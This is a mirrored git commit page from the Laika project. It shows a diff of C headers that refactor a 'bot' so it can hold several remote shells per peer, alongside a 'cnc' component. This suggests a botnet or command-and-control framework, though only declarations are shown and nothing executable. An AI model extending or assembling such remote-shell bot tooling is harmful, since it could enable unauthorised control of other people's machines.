1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-03 14:50:18 +00:00

Major shell packet refactoring

- can now open multiple shells per peer (change LAIKA_MAX_SHELLS)
- more sanity checking for public keys (new peers with duplicate keys are killed
- misc. refactoring, added cnc/cpeer.[ch]
This commit is contained in:
2022-05-07 20:09:42 -05:00
parent 67f404dac6
commit 7d96f3252c
15 changed files with 455 additions and 264 deletions

View File

@@ -12,11 +12,12 @@
struct sLaika_shell;
struct sLaika_bot {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList;
struct sLaika_taskService tService;
struct sLaika_peer *peer;
struct sLaika_shell *shell;
struct sLaika_task *shellTask;
int activeShells;
};
struct sLaika_bot *laikaB_newBot(void);

View File

@@ -8,9 +8,16 @@
struct sLaika_bot;
struct sLaika_shell;
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows);
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* raw platform-dependent shell allocation */
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* has to be a function since the struct is different depending on the platform */
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);